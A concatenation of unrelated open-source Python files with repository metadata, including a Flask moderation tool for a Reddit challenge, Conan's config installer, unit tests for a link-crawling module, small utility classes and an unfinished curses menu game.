stringio.write(' <small><font color="red">(not a member)</font></small>')
stringio.write('<form action="takeaction.html" method="post" target="invisibleiframe">')
if lateCheckinGracePeriodIsInEffect:
stringio.write('<input type="submit" name="actiontotake" value="Checkin">')
stringio.write('<input type="submit" name="actiontotake" value="Signup and checkin" style="color:white;background-color:green">')
else:
stringio.write('<input type="submit" name="actiontotake" value="Checkin" style="color:white;background-color:green">')
stringio.write('<input type="submit" name="actiontotake" value="Signup and checkin">')
stringio.write('<input type="submit" name="actiontotake" value="Relapse" style="color:white;background-color:red">')
stringio.write('<input type="submit" name="actiontotake" value="Reinstate with automatic comment">')
stringio.write('<input type="submit" name="actiontotake" value="Reply with sorry-too-late comment">')
stringio.write('<input type="submit" name="actiontotake" value="Skip comment">')
stringio.write('<input type="submit" name="actiontotake" value="Skip comment and don\'t upvote">')
stringio.write('<input type="hidden" name="username" value="' + b64encode(authorName) + '">')
stringio.write('<input type="hidden" name="commenthash" value="' + commentHash + '">')
stringio.write('<input type="hidden" name="commentpermalink" value="' + comment.permalink + '">')
stringio.write('</form>')
stringio.write(bleach.clean(markdown.markdown(comment.body.encode('utf-8')), tags=['p']))
stringio.write("\n<br><br>\n\n")
stringio.write('</html>')
pageString = stringio.getvalue()
stringio.close()
return Response(pageString, mimetype='text/html')
@app.route('/takeaction.html', methods=["POST"])
def takeaction():
username = b64decode(request.form["username"])
commentHash = str(request.form["commenthash"])
# commentPermalink = request.form["commentpermalink"]
actionToTake = request.form["actiontotake"]
# print commentHashesAndComments
comment = commentHashesAndComments[commentHash]
# print "comment: " + str(comment)
if actionToTake == 'Checkin':
print "checkin - " + username
subprocess.call(['./checkin.py', username])
comment.upvote()
retireCommentHash(commentHash)
if actionToTake == 'Signup and checkin':
print "signup and checkin - " + username
subprocess.call(['./signup-and-checkin.sh', username])
comment.upvote()
retireCommentHash(commentHash)
elif actionToTake == 'Relapse':
print "relapse - " + username
subprocess.call(['./relapse.py', username])
comment.upvote()
retireCommentHash(commentHash)
elif actionToTake == 'Reinstate with automatic comment':
print "reinstate - " + username
subprocess.call(['./reinstate.py', username])
comment.reply(reinstatedReplyText)
comment.upvote()
retireCommentHash(commentHash)
elif actionToTake == 'Reply with sorry-too-late comment':
print "reply with sorry-too-late comment - " + username
comment.reply(sorryTooLateToSignUpReplyText)
comment.upvote()
retireCommentHash(commentHash)
elif actionToTake == 'Skip comment':
print "Skip comment - " + username
comment.upvote()
retireCommentHash(commentHash)
elif actionToTake == "Skip comment and don't upvote":
print "Skip comment and don't upvote - " + username
retireCommentHash(commentHash)
return Response("hello", mimetype='text/html')
@app.route('/copydisplaytoclipboard.html', methods=["POST"])
def copydisplaytoclipboard():
actionToTake = request.form["actiontotake"]
if actionToTake == 'Copy display.py stdout to clipboard':
subprocess.call(['./display.py'])
if actionToTake == 'Automatically post display.py stdout':
subprocess.call(['./display.py'])
submissionText = pyperclip.paste()
submission.edit(submissionText)
return Response("hello", mimetype='text/html')
@app.route('/updategooglechart.html', methods=["POST"])
def updategooglechart():
print "TODO: Copy display to clipboard"
subprocess.call(['./update-google-chart.py'])
return Response("hello", mimetype='text/html')
if __name__ == '__main__':
app.run(host='127.0.0.1', port=flaskport)
|
foobarbazblarg/stayclean
|
stayclean-2017-may/serve-challenge-with-flask.py
|
Python
|
mit
| 10,823
|
"""
By Simon Harms.
Copyright 2015 Simon Harms, MIT LICENSE
Name: Stack2
Summary: Stack Version 2
"""
class Stack:
"""
Python Stack V2 with view and change.
"""
def __init__(self):
"""
Initialize the Stack.
"""
self.__storage = []
def is_empty(self):
"""
Returns if the Stack is empty.
"""
return len(self.__storage) == 0
def push(self, pushed):
"""
Add to the Stack.
"""
self.__storage.append(pushed)
def pop(self):
"""
Delete the top element.
"""
return self.__storage.pop()
def view(self):
"""
Return the Topmost item in the Stack.
"""
return self.__storage[-1]
def change(self, new):
"""
Make edits to the Topmost item in the Stack.
"""
self.__storage[-1] = new
def get_len(self):
"""
Return the length of the stack.
"""
return len(self.__storage)
def get_stack(self):
"""
Return the stack. (Can't edit it though. It is just a getter.)
"""
return self.__storage
def set_stack(self, new_stack):
"""
Set the stack as the stack pased in. (use the newStacks getStack function.)
"""
self.__storage = new_stack
def get_string(self):
"""
Get a string of the stack.
"""
return "".join(self.__storage)
|
XiKuuKy/Stack2
|
Stack2.py
|
Python
|
mit
| 1,481
|
from ritoapi.endpoints.match_v3 import MatchV3
import threading
def _load_matches(match_v3, sample_region, sample_match_id, count):
for i in range(count):
data = match_v3.matches(sample_region, sample_match_id)
assert(data['gameId'] == sample_match_id)
def test_matches_stress(sample_api_key, sample_rate_limit, sample_region, sample_match_id):
match_v3 = MatchV3(sample_api_key, sample_rate_limit)
threads = []
for i in range(10):
t = threading.Thread(target=_load_matches, args=(match_v3, sample_region, sample_match_id, 20))
threads.append(t)
t.start()
for t in threads:
t.join()
|
FancyRice/RitoAPI
|
ritoapi/tests/test_stress.py
|
Python
|
mit
| 655
|
import os
from conans.tools import unzip
import shutil
from conans.util.files import rmdir, mkdir
from conans.client.remote_registry import RemoteRegistry
from conans import tools
from conans.errors import ConanException
def _handle_remotes(registry_path, remote_file, output):
registry = RemoteRegistry(registry_path, output)
new_registry = RemoteRegistry(remote_file, output)
registry.define_remotes(new_registry.remotes)
def _handle_profiles(source_folder, target_folder, output):
mkdir(target_folder)
for root, _, files in os.walk(source_folder):
relative_path = os.path.relpath(root, source_folder)
if relative_path == ".":
relative_path = ""
for f in files:
profile = os.path.join(relative_path, f)
output.info(" Installing profile %s" % profile)
shutil.copy(os.path.join(root, f), os.path.join(target_folder, profile))
def _process_git_repo(repo_url, client_cache, output, runner, tmp_folder):
output.info("Trying to clone repo %s" % repo_url)
with tools.chdir(tmp_folder):
runner('git clone "%s" config' % repo_url, output=output)
tmp_folder = os.path.join(tmp_folder, "config")
_process_folder(tmp_folder, client_cache, output)
def _process_zip_file(zippath, client_cache, output, tmp_folder, remove=False):
unzip(zippath, tmp_folder)
if remove:
os.unlink(zippath)
_process_folder(tmp_folder, client_cache, output)
def _handle_conan_conf(current_conan_conf, new_conan_conf_path):
current_conan_conf.read(new_conan_conf_path)
with open(current_conan_conf.filename, "w") as f:
current_conan_conf.write(f)
def _process_folder(folder, client_cache, output):
for root, dirs, files in os.walk(folder):
for f in files:
if f == "settings.yml":
output.info("Installing settings.yml")
settings_path = client_cache.settings_path
shutil.copy(os.path.join(root, f), settings_path)
elif f == "conan.conf":
output.info("Processing conan.conf")
conan_conf = client_cache.conan_config
_handle_conan_conf(conan_conf, os.path.join(root, f))
elif f == "remotes.txt":
output.info("Defining remotes")
registry_path = client_cache.registry
_handle_remotes(registry_path, os.path.join(root, f), output)
else:
output.info("Copying file %s to %s" % (f, client_cache.conan_folder))
shutil.copy(os.path.join(root, f), client_cache.conan_folder)
for d in dirs:
if d == "profiles":
output.info("Installing profiles")
profiles_path = client_cache.profiles_path
_handle_profiles(os.path.join(root, d), profiles_path, output)
break
dirs[:] = [d for d in dirs if d not in ("profiles", ".git")]
def _process_download(item, client_cache, output, tmp_folder):
output.info("Trying to download %s" % item)
zippath = os.path.join(tmp_folder, "config.zip")
tools.download(item, zippath, out=output)
_process_zip_file(zippath, client_cache, output, tmp_folder, remove=True)
def configuration_install(item, client_cache, output, runner):
tmp_folder = os.path.join(client_cache.conan_folder, "tmp_config_install")
# necessary for Mac OSX, where the temp folders in /var/ are symlinks to /private/var/
tmp_folder = os.path.realpath(tmp_folder)
mkdir(tmp_folder)
try:
if item is None:
try:
item = client_cache.conan_config.get_item("general.config_install")
except ConanException:
raise ConanException("Called config install without arguments and "
"'general.config_install' not defined in conan.conf")
if item.endswith(".git"):
_process_git_repo(item, client_cache, output, runner, tmp_folder)
elif os.path.exists(item):
# is a local file
_process_zip_file(item, client_cache, output, tmp_folder)
elif item.startswith("http"):
_process_download(item, client_cache, output, tmp_folder)
else:
raise ConanException("I don't know how to process %s" % item)
finally:
if item:
client_cache.conan_config.set_item("general.config_install", item)
rmdir(tmp_folder)
|
lasote/conan
|
conans/client/conf/config_installer.py
|
Python
|
mit
| 4,484
|
#!/usr/bin/python
# -*- coding: utf-8 -*-
import unittest
import mechanize
from links import links
class LinksTest(unittest.TestCase):
"""Test para 'links.py'"""
def test_obtener_parametros_de_la_url(self):
url_unlam = 'http://www.unlam.edu.ar/index.php'
url_unlam_con_parametros = 'http://www.unlam.edu.ar/index.php?seccion=-1&accion=buscador'
url_google_con_parametros = 'https://www.google.com.ar/?gfe_rd=cr&dcr=0&ei=eUXWWZPVGcb_8AfYso_wAw&gws_rd=ssl'
self.assertEqual(links.obtener_parametros_de_la_url(url_unlam_con_parametros),
{'seccion':['-1'], 'accion':['buscador']}
)
self.assertEqual(links.obtener_parametros_de_la_url(url_unlam),
{}
)
self.assertEqual(links.obtener_parametros_de_la_url(url_google_con_parametros),
{'gfe_rd':['cr'], 'dcr':['0'], 'ei':['eUXWWZPVGcb_8AfYso_wAw'], 'gws_rd':['ssl']}
)
def test_obtener_scripts_desde_url(self):
url_blogger = 'https://www.blogger.com/about/?r=2'
dominio_blogger = 'https'
archivo_html_blogger = open('test/blogger_html.txt', 'r')
html_blogger = archivo_html_blogger.read()
archivo_scripts_blogger_1 = open('test/blogger_script_1.txt', 'r')
scripts_blogger_1 = archivo_scripts_blogger_1.read()
archivo_scripts_blogger_2 = open('test/blogger_script_2.txt', 'r')
scripts_blogger_2 = archivo_scripts_blogger_2.read()
lista_scripts_blogger = [str(scripts_blogger_1), str(scripts_blogger_2)]
links._compilar_regex(r'(?!^//|\bhttp\b)[A-Za-z0-9_\-//]*\.\w*',
r'(?!^//|\bhttp\b)([A-Za-z0-9_\-\/]*\/[A-Za-z0-9_\-\.\/]*)',
r'.*\b' + 'www.blogger.com'.replace('www.', r'\.?') + r'\b(?!\.)'
)
self.assertNotEqual(links.obtener_scripts_desde_url(url_blogger, dominio_blogger, html_blogger),
lista_scripts_blogger
)
def test_obtener_link_valido(self):
links._compilar_regex(r'(?!^//)[A-Za-z0-9_\-//]*\.\w*',
'([A-Za-z0-9_\-\/]*\/[A-Za-z0-9_\-\.\/]*)',
r'.*\b' + 'www.blogger.com'.replace('www.', '\.?') + r'\b(?!\.)'
)
url_blogger = 'https://www.blogger.com/about/?r=2'
dominio_blogger = 'https'
link = '/go/createyourblog'
self.assertEqual(links.obtener_link_valido(url_blogger, link, dominio_blogger),
'https://www.blogger.com/go/createyourblog'
)
self.assertEqual(links.obtener_link_valido(url_blogger, '/', dominio_blogger),
'https://www.blogger.com/'
)
def test_obtener_entradas_desde_url(self):
url_unlam = 'http://alumno2.unlam.edu.ar/index.jsp?pageLand=registrarse'
html_unlam = open('test/unlam_html.txt', 'r').read()
parametros = links.obtener_entradas_desde_url(html_unlam)
parametro = parametros[0][0]['id']
self.assertEqual(parametro,
'docume'
)
def test_es_url_prohibida(self):
self.assertTrue(links.es_url_prohibida('http://example.com/asd/imagen.jpg'))
self.assertFalse(links.es_url_prohibida('http://example.com/asd/noespng.html'))
def test_es_url_valida(self):
self.assertFalse(links.es_url_valida('python.org'))
self.assertTrue(links.es_url_valida('https://www.python.org'))
def test_se_puede_acceder_a_url(self):
self.assertFalse(links.se_puede_acceder_a_url('https://sitioquenoesasfasdasda.org'))
self.assertTrue(links.se_puede_acceder_a_url('https://www.python.org'))
def test_abrir_url_en_navegador(self):
br = mechanize.Browser()
links.configurar_navegador(br)
lista_cookies = links.obtener_cookies_validas('DXGlobalization_lang=en;DXGlobalization_locale=en-US;DXGlobalization_currency=ARS')
self.assertFalse(links.abrir_url_en_navegador(br, 'https://sitioquenoesasfasdasda.org'))
self.assertTrue(links.abrir_url_en_navegador(br, 'https://www.python.org'))
self.assertTrue(links.abrir_url_en_navegador(br, 'https://cart.dx.com/'))
self.assertTrue(links.abrir_url_en_navegador(br, 'https://cart.dx.com/', lista_cookies))
def test_validar_formato_cookies(self):
lista_cookies = links.obtener_cookies_validas('DXGlobalization_lang=en;DXGlobalization_locale=en-US;DXGlobalization_currency=ARS')
#self.assertEqual(dict_cokies,
# {'DXGlobalization_lang':'en', 'DXGlobalization_locale':'en-US','DXGlobalization_currency':'ARS' }
# )
self.assertEqual(lista_cookies,
['DXGlobalization_lang=en', 'DXGlobalization_locale=en-US','DXGlobalization_currency=ARS' ]
)
self.assertFalse(links.obtener_cookies_validas('DXGlobalization_lang=en;'))
self.assertFalse(links.obtener_cookies_validas('DXGlobalization_lang='))
if __name__ == '__main__':
unittest.main()
|
leapalazzolo/XSS
|
test/test_links.py
|
Python
|
mit
| 5,360
|
from .attribute import html_attribute
from .element import VoidElement
class Image(VoidElement):
"""An HTML image (<img>) element.
Images must have an alternate text description that describes the
contents of the image, if the image can not be displayed. In some
cases the alternate text can be empty. For example, if the image just
displays a company logo next to the company's name or if the image just
adds an icon next to a textual description of an action.
Example:
>>> image = Image("whiteboard.jpg",
... "A whiteboard filled with mathematical formulas.")
>>> image.title = "Whiteboards are a useful tool"
"""
def __init__(self, url, alternate_text=""):
super().__init__("img")
self.url = url
self.alternate_text = alternate_text
url = html_attribute("src")
alternate_text = html_attribute("alt")
title = html_attribute("title")
|
srittau/python-htmlgen
|
htmlgen/image.py
|
Python
|
mit
| 952
|
from django.db import models
from botManager.models import Bot
class Activist(models.Model):
identifier = models.CharField(max_length=200)
name = models.CharField(max_length=200)
username = models.CharField(max_length=200)
reg_date = models.DateTimeField('Date registered', auto_now_add=True)
bot = models.ForeignKey(Bot) # on_delete=models.CASCADE)
def __str__(self):
return '{} ({}: {})'.format(self.name, self.bot.name, self.identifier)
|
stefan2904/activismBot
|
activistManager/models.py
|
Python
|
mit
| 477
|
import os
from pynsett.discourse import Discourse
from pynsett.drt import Drs
from pynsett.extractor import Extractor
from pynsett.knowledge import Knowledge
_path = os.path.dirname(__file__)
text = "John Smith is not blond"
drs = Drs.create_from_natural_language(text)
drs.plot()
print(drs)
|
fractalego/pynsett
|
pynsett/examples/negation.py
|
Python
|
mit
| 294
|
#!/usr/bin/python
from participantCollection import ParticipantCollection
import string
import re
import datetime
import pyperclip
# Edit Me!
# Remember, this is during signup, so current month is not June, it's May.
currentMonthTotalDays = 31
currentMonthURL = "https://www.reddit.com/r/pornfree/comments/5lefq1/stay_clean_january_this_thread_updated_daily/"
currentMonthIndex = datetime.date.today().month
currentMonthPenultimateDayIndex = currentMonthTotalDays - 1
currentMonthName = {1: 'January', 2: 'February', 3: 'March', 4: 'April', 5: 'May', 6: 'June', 7: 'July', 8: 'August', 9: 'September', 10: 'October', 11: 'November', 12: 'December'}[currentMonthIndex]
nextMonthIndex = currentMonthIndex % 12 + 1
nextMonthName = {1: 'January', 2: 'February', 3: 'March', 4: 'April', 5: 'May', 6: 'June', 7: 'July', 8: 'August', 9: 'September', 10: 'October', 11: 'November', 12: 'December'}[nextMonthIndex]
uppercaseMonth = string.upper(nextMonthName)
currentDayOfMonthIndex = datetime.date.today().day
currentDayOfMonthName = {1: 'first', 2: 'second', 3: 'third', 4: 'fourth', 5: 'fifth', 6: 'sixth', 7: 'seventh', 8: 'eighth', 9: 'ninth', 10: 'tenth', 11: 'eleventh', 12: 'twelfth', 13: 'thirteenth', 14: 'fourteenth', 15: 'fifteenth', 16: 'sixteenth', 17: 'seventeenth', 18: 'eighteenth', 19: 'nineteenth', 20: 'twentieth', 21: 'twenty-first', 22: 'twenty-second', 23: 'twenty-third', 24: 'twenty-fourth', 25: 'twenty-fifth', 26: 'twenty-sixth', 27: 'twenty-seventh', 28: 'twenty-eighth', 29: 'twenty-ninth', 30: 'thirtieth', 31: 'thirty-first'}[currentDayOfMonthIndex]
currentDayOfWeekName = {0: 'Monday', 1: 'Tuesday', 2: 'Wednesday', 3: 'Thursday', 4: 'Friday', 5: 'Saturday', 6: 'Sunday'}[datetime.date.today().weekday()]
# TODO: testing
# currentDayOfMonthIndex = 28
participants = ParticipantCollection()
initialNumber = participants.size()
def templateForParticipants():
answer = ""
answer += "Here are the **INITIAL_NUMBER participants** who have already signed up:\n\n"
for participant in participants.participants:
answer += "/u/" + participant.name
answer += "\n\n"
return answer
def templateForTooEarly():
answer = ""
answer += "(Too early. Come back on CURRENT_MONTH_NAME " + str(currentMonthTotalDays - 6) + ")\n"
return answer
def templateForFirstSignupDay():
answer = ""
answer += "STAY CLEAN UPPERCASE_MONTH! Sign up here! (CURRENT_MONTH_NAME CURRENT_DAY_OF_MONTH_INDEX)\n"
answer += "Hey everybody, we had a great turnout for [Stay Clean CURRENT_MONTH_NAME](CURRENT_MONTH_URL) - let's see if we can knock it out of the park for NEXT_MONTH_NAME. Have you been clean for the month of CURRENT_MONTH_NAME? Great! Join us here, and let's keep our streak going. Did you slip in CURRENT_MONTH_NAME? Then NEXT_MONTH_NAME is your month to shine, and we will gladly fight the good fight along with you. Did you miss out on the CURRENT_MONTH_NAME challenge? Well then here is your opportunity to join us.\n"
answer += "\n"
answer += "If you would like to be included in this challenge, please post a brief comment to this thread, and I will include you. After midnight, NEXT_MONTH_NAME 1, the sign up window will close, and the challenge will begin."
return answer
def templateForMiddleSignupDays():
answer = ""
answer += "STAY CLEAN UPPERCASE_MONTH! Sign up here! (CURRENT_MONTH_NAME CURRENT_DAY_OF_MONTH_INDEX)\n"
answer += "Hey everybody, so far **INITIAL_NUMBER participants** have signed up. Have you been clean for **[the month of CURRENT_MONTH_NAME](CURRENT_MONTH_URL)**? Great! Join us here, and let's keep our streak going. Did you slip in CURRENT_MONTH_NAME? Then NEXT_MONTH_NAME is your month to shine, and we will gladly fight the good fight along with you. Did you miss out on the CURRENT_MONTH_NAME challenge? Well then here is your opportunity to join us.\n"
answer += "\n"
answer += "If you would like to be included in this challenge, please post a brief comment to this thread (if you haven't already done so on an earlier signup thread), and I will include you. After midnight, NEXT_MONTH_NAME 1, the sign up window will close, and the challenge will begin.\n"
answer += "\n"
answer += templateForParticipants()
return answer
def templateForLastSignupDay():
answer = ""
answer += "LAST CHANCE TO SIGN UP FOR STAY CLEAN UPPERCASE_MONTH! Sign up here!\n"
answer += "The Stay Clean NEXT_MONTH_NAME challenge **begins tomorrow**! So far, we have **INITIAL_NUMBER participants** signed up. If you would like to be included in the challenge, please post a brief comment to this thread (if you haven't already done so on an earlier signup thread), and we will include you. After midnight tonight, we will not be accepting any more participants. I will create the official update post tomorrow.\n"
answer += "\n"
answer += templateForParticipants()
return answer
def templateToUse():
if currentDayOfMonthIndex <= (currentMonthTotalDays - 7):
return templateForTooEarly()
elif currentDayOfMonthIndex == (currentMonthTotalDays - 6):
return templateForFirstSignupDay()
elif (currentMonthTotalDays - 5) <= currentDayOfMonthIndex <= (currentMonthTotalDays - 1):
return templateForMiddleSignupDays()
elif currentMonthTotalDays == currentDayOfMonthIndex:
return templateForLastSignupDay()
def stringToPrint():
answer = templateToUse()
answer = re.sub('INITIAL_NUMBER', str(initialNumber), answer)
answer = re.sub('CURRENT_MONTH_INDEX', str(currentMonthIndex), answer)
answer = re.sub('CURRENT_MONTH_TOTAL_DAYS', str(currentMonthTotalDays), answer)
answer = re.sub('CURRENT_MONTH_PENULTIMATE_DAY_INDEX', str(currentMonthPenultimateDayIndex), answer)
answer = re.sub('CURRENT_MONTH_NAME', currentMonthName, answer)
answer = re.sub('CURRENT_MONTH_URL', currentMonthURL, answer)
answer = re.sub('NEXT_MONTH_INDEX', str(nextMonthIndex), answer)
answer = re.sub('NEXT_MONTH_NAME', nextMonthName, answer)
answer = re.sub('CURRENT_DAY_OF_MONTH_INDEX', str(currentDayOfMonthIndex), answer)
answer = re.sub('CURRENT_DAY_OF_MONTH_NAME', currentDayOfMonthName, answer)
answer = re.sub('CURRENT_DAY_OF_WEEK_NAME', currentDayOfWeekName, answer)
answer = re.sub('UPPERCASE_MONTH', uppercaseMonth, answer)
return answer
outputString = stringToPrint()
print "============================================================="
print outputString
print "============================================================="
pyperclip.copy(outputString)
|
foobarbazblarg/stayclean
|
stayclean-2017-february/display-during-signup.py
|
Python
|
mit
| 6,610
|
import curses
import sys
import time
import os.path
import random
import pickle
from curses import wrapper
gamedims = [5,22]
currPos = [10,10]
currPosList = [1,3]
def main(stdscr):#{
curses.start_color()
curses.init_pair(1, curses.COLOR_WHITE, curses.COLOR_BLACK)
curses.init_pair(2, curses.COLOR_BLACK, curses.COLOR_WHITE)
curses.init_pair(3, curses.COLOR_BLUE, curses.COLOR_WHITE)
curses.init_pair(4, curses.COLOR_RED, curses.COLOR_WHITE)
curses.init_pair(5, curses.COLOR_YELLOW, curses.COLOR_WHITE)
curses.init_pair(6, curses.COLOR_MAGENTA, curses.COLOR_WHITE)
curses.init_pair(7, curses.COLOR_CYAN, curses.COLOR_WHITE)
curses.init_pair(8, curses.COLOR_GREEN, curses.COLOR_WHITE)
curses.init_pair(9, curses.COLOR_BLUE, curses.COLOR_CYAN)
stdscr.clear()
stdscr.keypad(1)
curses.curs_set(0)
dims = stdscr.getmaxyx()
global sizeselector
maxheight = str(dims[0]-2)
maxwidth = str(dims[1]-2)
sizeselector.extend(['5',maxwidth])
sizeselector.extend(['5',maxheight])
with open('./constants/string.txt','w') as f:
for x in sizeselector:
f.write('%s\n' % x)
#if os.path.exists('./constants/size.pkl'):#{
# with open('./constants/size.pkl') as f:#{
# global gamedims
# gamedims = pickle.load(f)
# #}
##}
#else:#{
# global gamedims
# with open('./constants/size.pkl', 'w') as output:#{
# data = gamedims
# pickle.dump(data, output)
# #}
##}
while True:
selection = makeMenu(stdscr, gamemenu)
if selection == 1:#{
sampleselection = 0
while True:#{
if sampleselection == curses.KEY_BACKSPACE: break
initanswer=makeMenu(stdscr, initgame)
if initanswer == 1:#{
global gamedims
x = gamedims[0]
y = gamedims[1]
boardArray=[[0 for j in range(0,x)]for i in range(0,y)]
showProgress(stdscr)
drawBoard(stdscr, boardArray)
#}
elif initanswer == 2:#{
while True:#{
sampleselection=makeMenu(stdscr, samples)
if sampleselection == 1:#{
print ('1')
#}
elif sampleselection == 2:#{
print ('2')
#}
elif sampleselection == 3:#{
print ('3')
#}
elif sampleselection == 4:#{
print ('4')
#}
elif sampleselection == 5:#{
print ('5')
#}
elif sampleselection == 0:
break
#}
#}
elif initanswer == 0:#{
break
#}
#}
#}
elif selection == 2:#{
while True:#{
option = makeMenu(stdscr, optionsmenu)
if option == 1:#{
fieldsize=numberSelector(stdscr, sizeselector, gamedims)
if fieldsize != -1:#{
gamedims = fieldsize
break
#}
#}
elif option == 2:#{
characters = elemSelector(stdscr, charselector, elemArray, currPosList)
#}
elif option == 3:#{
rulesmenu=makeMenu(stdscr, rules)
if rulesmenu == 1:#{
print ('1')
elif rulesmenu == 2:#{
print ('2')
#}
#}
elif option == 0:#{
break
#}
#}
#}
elif selection == 3:#{
stdscr.clear()
stdscr.refresh()
curses.endwin()
output = open('./constants/size.pkl', 'w')
data = gamedims
pickle.dump(data, output)
output.close()
sys.exit()
#}
elif selection == 0:#{
stdscr.clear()
stdscr.refresh()
curses.endwin()
output = open('./constants/size.pkl', 'w')
data = gamedims
pickle.dump(data, output)
output.close()
sys.exit()
#}
#elif selection == ord('h'):#{
# stdscr.addstr(dims[0]-2,dims[1]/2-len(gamemenu[1])/2, gamemenu[1])
# stdscr.refresh()
##}
#}
def makeMenu(stdscr, L):#{
pos1 = 1
header = L[0]
optCount = len(L)-2
dims = stdscr.getmaxyx()
lenList = [0]
for i in L[2:]:#{
lenList.append(len(i))
#}
maxWidth = max(lenList)+1
while True:#{
for x in range (0,optCount):#{
if pos1 == x+1:#{
stdscr.addstr(dims[0]/2-optCount+2*x, dims[1]/2-maxWidth/2-2,'> '+L[x+2].center(maxWidth,' ')+' <', curses.color_pair(2))
#}
else:#{
stdscr.addstr(dims[0]/2-optCount+2*x, dims[1]/2-maxWidth/2-2, L[x+2].center(maxWidth+4, ' '))
#}
#}
for y in range (0,maxWidth+10):#{
stdscr.addstr(dims[0]/2-optCount-2, dims[1]/2-maxWidth/2+y-3-2, '=',curses.color_pair(2))
#}
stdscr.addnstr(dims[0]/2+optCount, dims[1]/2-maxWidth/2-3-2, ornament1 ,maxWidth+10,curses.color_pair(2))
for a in range (0,optCount*2+1):#{
stdscr.addstr(dims[0]/2-optCount-1+a, dims[1]/2-maxWidth/2+maxWidth+6-2,'I',curses.color_pair(2))
stdscr.addstr(dims[0]/2-optCount-1+a, dims[1]/2-maxWidth/2-3-2, 'I', curses.color_pair(2))
#}
stdscr.addstr(dims[0]/2+optCount+1, dims[1]/2-len('Press "h" for help')/2, 'Press "h" for help',curses.color_pair(2))
for b in range(0,len(header)):#{
stdscr.addstr(dims[0]/2-optCount-2, dims[1]/2-len(L[0])/2+b, header[b],curses.color_pair(random.randint(3,8)))
#}
stdscr.refresh()
selection1=stdscr.getch()
if selection1 == curses.KEY_UP and pos1 > 1:#{
pos1-=1
#}
elif selection1 == curses.KEY_DOWN and pos1 < optCount:#{
pos1+=1
#}
elif selection1 == 10:#{
stdscr.clear()
stdscr.refresh()
return pos1
break
#}
elif selection1 == curses.KEY_BACKSPACE:#{
stdscr.clear()
stdscr.refresh()
pos1 = 0
return pos1
break
#}
elif selection1 == ord('h'):#{
stdscr.addstr(dims[0]-2,dims[1]/2-len(L[1])/2, L[1])
#}
#}
#}
def drawBoard(stdscr, boardArray):#{
x = len(boardArray[0])
y = len(boardArray)
dims = stdscr.getmaxyx()
z1 = int(round(float(x)/2))-x/2
z2 = int(round(float(y)/2))-y/2
corner1 = [dims[0]/2-y/2-1,dims[1]/2-x-1]
corner2 = [dims[0]/2-y/2-1,dims[1]/2+x+1]
corner3 = [dims[0]/2+y/2+z2,dims[1]/2+x+1]
corner4 = [dims[0]/2+y/2+z2,dims[1]/2-x-1]
stdscr.addstr(corner1[0], corner1[1], "+", curses.A0REVERSE)
stdscr.addstr(corner2[0], corner2[1], "+", curses.A_REVERSE)
stdscr.addstr(corner3[0], corner3[1], "+", curses.A_REVERSE)
stdscr.addstr(corner4[0], corner4[1], "+", curses.A_REVERSE)
for k in range(1,x*2+2):#{
stdscr.addstr(corner1[0],corner1[1]+k, "-", curses.A_REVERSE)
stdscr.addstr(corner4[0]+z2,corner4[1]+k, "-", curses.A_REVERSE)
#}
for l in range(1,y):#{
stdscr.addstr(corner1[0]+l,corner1[1], "|", curses.A_REVERSE)
stdscr.addstr(corner2[0]+l,corner2[1], "|", curses.A_REVERSE)
#}
for i in range(0,y):#{
for j in range(0,x):#{
stdscr.addstr(corner1[0]+i, corner1[1]+2*j, ' '+str(boardArray[i][j]))
#}
#}
stdscr.refresh()
input = stdscr.getch()
stdscr.clear()
stdscr.refresh()
#}
def makePrompt(stdscr, L):#{
question = L[0]
header = L[1]
ansCount = len(L)-2
queLength = len(L[0])
dims = stdscr.getmaxyx()
while True:#{
stdscr.clear()
stdscr.box()
stdscr.addstr(dims[0]/2-5, dims[1]/2-queLength/2, L[0])
if ansCount == 2:#{
stdscr.addstr(dims[0]/2+2, dims[1]/2-len(L[2])-5, L[2]+'(1)')
stdscr.addstr(dims[0]/2+2, dims[1]/2+5, L[3]+'(2)')
#}
elif ansCount == 3:#{
stdscr.addstr(dims[0]/2+2, dims[1]/2-len(L[2])-4, L[2]+' (1)')
stdscr.addstr(dims[0]/2+2, dims[1]/2+4, L[3]+'(2)')
stdscr.addstr(dims[0]/2+4, dims[1]/2-len(L[4])/2, L[4]+'(3)')
#}
else:#{
for x in range(1,ansCount+1):
stdscr.addstr(dims[0]/2+2*x, dims[1]/2-len(L[x+1])/2, L[x+1]+'('+str(x)+')')
#}
stdscr.refresh()
answer = stdscr.getch()
if answer > ord('0') and answer <= ord(str(ansCount)):#{
stdscr.clear()
stdscr.refresh()
return answer
break
#}
elif answer == curses.KEY_BACKSPACE:#{
stdscr.clear()
stdscr.refresh()
answer = -1
return answer
break
#}
elif answer == ord('h'):#{
stdscr.addstr(dims[0]-2, dims[1]-len(L[1])-1, L[1])
stdscr.addstr(dims[0]-2, dims[1]/2, L[2])
#}
#}
#}
def showProgress(stdscr):#{
dims = stdscr.getmaxyx()
coords = [dims[0]/2-1,dims[1]/2-16]
win = stdscr.subwin(3,32,coords[0],coords[1])
win.border(0)
win.addstr(1,1,'Progress ')
win.refresh()
time.sleep(0.5)
pos = 10
for i in range(15):#{
win.addstr(1,pos,'.')
win.refresh()
time.sleep(0.02)
pos+=1
#}
win.addstr(1,26,'Done!')
win.refresh()
time.sleep(0.5)
win.clear()
win.refresh()
#}
def elemSelector(stdscr, L, elemArray, currPosList):#{
selections = len(elemArray)
if len(currPosList) == 1:#{
pos1 = currPosList[0]
#}
elif len(currPosList) == 2:#{
pos1 = currPosList[0]
pos2 = currPosList[1]
#}
elif len(currPosList) == 3:#{
pos1 = currPosList[0]
pos2 = currPosList[1]
pos3 = currPosList[2]
#}
elif len(currPosList) == 4:#{
pos1 = currPosList[0]
pos2 = currPosList[1]
pos3 = currPosList[2]
pos4 = currPosList[3]
#}
subject = L[0]
dims = stdscr.getmaxyx()
while True:#{
if selections == 1:#{
for x in range(0,3):#{
stdscr.addnstr(dims[0]/2-5+x, dims[1]/2-18*3/2, ornament2, 18*3, curses.A_REVERSE)
stdscr.addnstr(dims[0]/2+3+x, dims[1]/2-18*3/2, ornament2, 18*3, curses.A_REVERSE)
#}
stdscr.addstr(dims[0]/2-5+1, dims[1]/2-len(L[0])/2, L[0], curses.A_REVERSE)
#}
elif selections == 2:#{
for x in range(0,selections+1):#{
for y in range(0,3):
stdscr.addnstr(dims[0]/2-selections*9/2+8*x+y, dims[1]/2-18*3/2, ornament2, 18*3, curses.A_REVERSE)
#}
stdscr.addstr(dims[0]/2-9+1, dims[1]/2-len(L[0])/2, L[0], curses.A_REVERSE)
#}
elif selections > 2:#{
for x in range(0,selection+1):#{
for y in range(0,3):#{
